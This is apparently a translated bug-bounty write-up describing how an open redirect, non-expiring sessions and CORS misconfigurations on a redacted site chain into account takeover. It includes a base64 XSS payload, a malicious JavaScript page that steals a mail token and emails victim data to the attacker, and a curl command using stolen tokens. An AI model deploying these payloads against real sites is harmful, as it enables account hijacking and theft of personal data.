一套漏洞组合拳接管你的账号

2024-03-24 04:40

本文主要是介绍一套漏洞组合拳接管你的账号,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

这是我在一个众测项目中发现的漏洞,单个漏洞可能不是那么有趣,但是把他们组合起来利用,逼格一下子就上来了,也算是比较经典的组合拳

所以,请大家看到最后

为了保护厂商隐私,我们姑且把这次的测试网址定为host.com

开放式重定向

第一个漏洞很简单,就是一个开放式重定向,当然,这个开放式重定向咱们也可以把他弄成一个反射型xss

www.host.com/redencrypt?location=data:text/html%3Bbase64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg==&utm_source=saloncentric_app&utm_medium=referral

这个xss只能在safari浏览器上触发,而且啥数据都偷不到

虽然不能说是🐂b哄哄,也算是毫无用处了🤣🤣🤣

其中,存在漏洞的参数是location,我们使用的payload就是一个base64编码过后的<script>alert(‘test3’)</script>

Session永生

本来想把这个漏洞叫做session固定漏洞,但是一想,这个漏洞还和session固定漏洞不太一样,它更牛逼

怎么个牛逼法呢?

一般情况下,咱们登录一个网站,网站都会返回给我们一个sessionid,这个sessionid就是用来识别不同的用户的

和这个sessionid对应的,网站服务器上还存着用户的session,正常情况下,我们登出或者更改密码过后网站就应该销毁咱们的session

但是,我测试的这个站点就没有销毁session,也就是session永生

网站不死它不死,就问你怕不怕!

是不是很多小伙伴之前挖洞的时候根本没想着挖这个点?那么下次就可以试试了,测试方式也很简单

  • 登录网站,请求一个需要登录过后才能访问的接口发包,用burp抓包
  • 登出网站
  • 用burp repeater重放刚刚抓到的请求
  • 如果依然能够返回登录后的数据,则存在漏洞🤑🤑🤑

对了,JWT sessions就别想了,JWT token都是有过期时间的

CORS配置错误

这是本次组合拳中最重要的一个漏洞,其实有这一个漏洞就已经算是接管别人的账号了,但是不够彻底

我们要的是什么?


是完全接管,就是拿到对方账号为所欲为的那种,你懂我意思吧

这个网站上有一个发送邮件的功能,用户可以通过这个功能给朋友发送邀请码、折扣码等等,而这个功能是在host.com的一个子域上实现的,我们将其称之为sub1.host.com,就是这个域名错误地配置了CORS

所以,我们可以构造一个恶意页面部署在我们的服务器上,恶意网页中包含如下js代码:

<script>
function steal(){
var xmlH = new XMLHttpRequest();
xmlH.open("GET", "https://sub1.host.com/api/v4/mail-token", true);
xmlH.withCredentials = true;
xmlH.send();
xmlH.onload = function(){
data = JSON.parse(this.responseText);
var mail_token = data.mail_token;
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://sub1.host.com/api/v5/email/share-code", true);
xhr.setRequestHeader("MailToken", mail_token);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send('{"target":"id:222920"},"recipient_emails":["mashoud1122@wearehackerone.com"],"message":"STOLEN WITHOUT NOTICE/Interaction + EMAIL OF VICTIM in TITLE"}');
}
}
</script>
<body onload="steal()"></body>

假设该页面部署在http://www.axin.com/handsome.html,我把该链接发送给目标用户,当用户点击这个链接时,我们的恶意页面就带着目标用户的cookie给我自己发了一封邮件

我们可以通过这种方式盗取邀请码、折扣码,还能知道受害者的邮箱

由于子域名上的功能有限,暂且只能做这些事情…我们继续挖一挖吧

一处不起眼的逻辑漏洞

其实这一处漏洞还是因为CORS配置错误,这次有问题的域名为sub2.host.com(同样是CORS配置错误的域名)

我在这个域名上发现了接口sub2.host.com/api/v2/token,这个接口会返回一个字符串

我最开始不知道这个字符串是干嘛的,但是看到接口中有个token,我觉得这个字符串不会简单,所以就用这个字符串到处插😏

在这里插入图片描述
结果还真中奖了!

这就是处处留情的下场吗,我开心坏了

我发现这个字符串可以当做mydata.host.com的登录凭证

只要我们把这个字符串放到Authorization请求头中,或者是作为cookie中ac_access_token的值,我们就可以得到一些登录过后才能看到的响应

通过fuzzing,我发现这个域名下有如下这些接口:

  • 用户购买记录/user-me/purchases
  • 用户邮件记录/user-me/sharables
  • 用户详细信息/user-me
  • 用户奖励信息/user-me/rewards

把漏洞串成羊肉串

ok,有了上面的漏洞,其实我们已经能够做很多事情了

特别是最后一个漏洞,这个CORS错误配置已经能够直接拿到token了,但是这个token在用户登出过后就会过期

所以,为了能够拿到高危/严重、拿到更多的💰,我们需要把这些漏洞串起来

下面就是整个流程

开放式重定向–>恶意站点–>恶意站点利用sub1.host.com上的CORS错误配置给攻击者发送一份邮件,这份邮件的内容就是从sub2.host.com/api/v2/token接口偷来的tokan–> 用这个token验证接口,然后拿到sessionid,还记得第二个漏洞吗?sessionid是不变的,所以,我们成功地完全接管了别人的账号

攻击者收到的邮件形式如下:


现在我们既可以用偷来的token查看用户隐私信息,也可以用sessionid完成更多操作

curl https://mydata.host.com/api/v4/user-me/purchases --cookie "ac_access_token=STOLEN_TOKENS" | jq

最后,收钱包到账¥10000

本文翻译自:https://medium.com/@mashoud1122/cors-misconfiguration-account-takeover-out-of-scope-to-grab-items-in-scope-66d9d18c7a46

这篇关于一套漏洞组合拳接管你的账号的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/840483

相关文章

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

SAP学习笔记 - 开发02 - BTP实操流程(账号注册,BTP控制台,BTP集成开发环境搭建)

上一章讲了 BAPI的概念,以及如何调用SAP里面的既存BAPI。 SAP学习笔记 - 开发01 - BAPI是什么?通过界面和ABAP代码来调用BAPI-CSDN博客 本章继续讲开发相关的内容,主要就是BTP的实际操作流程,比如账号注册,登录,BTP集成开发环境的搭建这方面。 目录 1,账号注册 2,BTP登录URL 3,如何在BTP上进行开发? 以下是详细内容。 1,账

Java反序列化漏洞-TemplatesImpl利用链分析

文章目录 一、前言二、正文1. 寻找利用链2. 构造POC2.1 生成字节码2.2 加载字节码1)getTransletInstance2)defineTransletClasses 2.3 创建实例 3. 完整POC 三、参考文章 一、前言 java.lang.ClassLoader#defineClass defineClass可以加载字节码,但由于defineClas

git如何灵活切换本地账号对应远程github的两个账号

git如何灵活切换本地账号对应远程github的两个账号 问题: 有时候我们会同时维护两个github的账号里面的仓库内容,这时候本地git需要频繁的切换ssh,以方便灵活的与两个账号的仓库可以通信。这篇日记将阐述我是怎么解决这个问题的。1. 第一个账户 生成本地SSH2. 注意 我们要设置第二个账户的 本地 SSH 时3. 两个账号来回切换 问题: 有时候我们会同时维护两个git

【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现

2-rec 1.启动环境  cd /.../vulhub/thinkphp/2-rce # cd进入2-rce靶场文件环境下docker-compose up -d # docker-compose启动靶场docker ps -a # 查看开启的靶场信息 2.访问192.168.146.136:8080网页 3.构造payload http

苹果账号登录后端验证两种方式 python2

import jsonimport jwt import requests import json import base64def decode_jwt(jwt_token):try:header,payload,sign = jwt_token.split('.')except:return {},{},""header = json.loads(base64.urlsafe_b6

【漏洞复现】赛蓝企业管理系统 GetJSFile 任意文件读取漏洞

免责声明:         本文内容旨在提供有关特定漏洞或安全漏洞的信息,以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步,并非出于任何恶意目的。阅读者应该明白,在利用本文提到的漏洞信息或进行相关测试时,可能会违反某些法律法规或服务协议。同时,未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。作者不对读者基于本文内容而产生的任何行为或后果承担

【网络安全】Jenkins任意文件读取漏洞及检测工具(CVE-2024-23897)

原创文章,不得转载。 文章目录 漏洞成因影响范围检测工具更多细节 漏洞成因 Jenkins CLI 接口存在任意文件读取漏洞(CVE-2024-23897)。该问题源于 args4j 库在解析文件名参数时,会将@符号后的字符串视为文件名并尝试读取文件,而且该功能默认处于启用状态。 影响范围 Jenkins weekly <= 2.441 Jenkins LTS <=

MyBatis-Plus 框架 QueryWrapper UpdateWrapper 方法修复sql注入漏洞事件

什么是漏洞? 漏洞是指软件、系统或网络中存在的安全弱点或错误,这些弱点可能导致系统遭受攻击或被不当使用。在计算机安全领域,漏洞通常源于编程错误、设计缺陷或配置失误。 对于对象关系映射(ORM)框架来说,漏洞通常指的是设计或实施中的安全问题,这些问题可能让应用程序面临SQL注入攻击的风险。 SQL 注入漏洞 如果ORM框架在执行SQL操作时没有正确过滤或转义用户输入,攻击者可以利用输入的恶意数据

一套简约的qt 蓝色qss方案

一套简约的qt 蓝色qss方案 直接使用qss代码 QMenu{background: qlineargradient(x1:0, y1:0, x2:0, y2:1,stop:0 rgba(255, 255, 255, 240),stop:0.2 rgba(255, 255, 255, 200),stop:0.6 rgba(255, 255, 255, 160),stop:1 rgba(25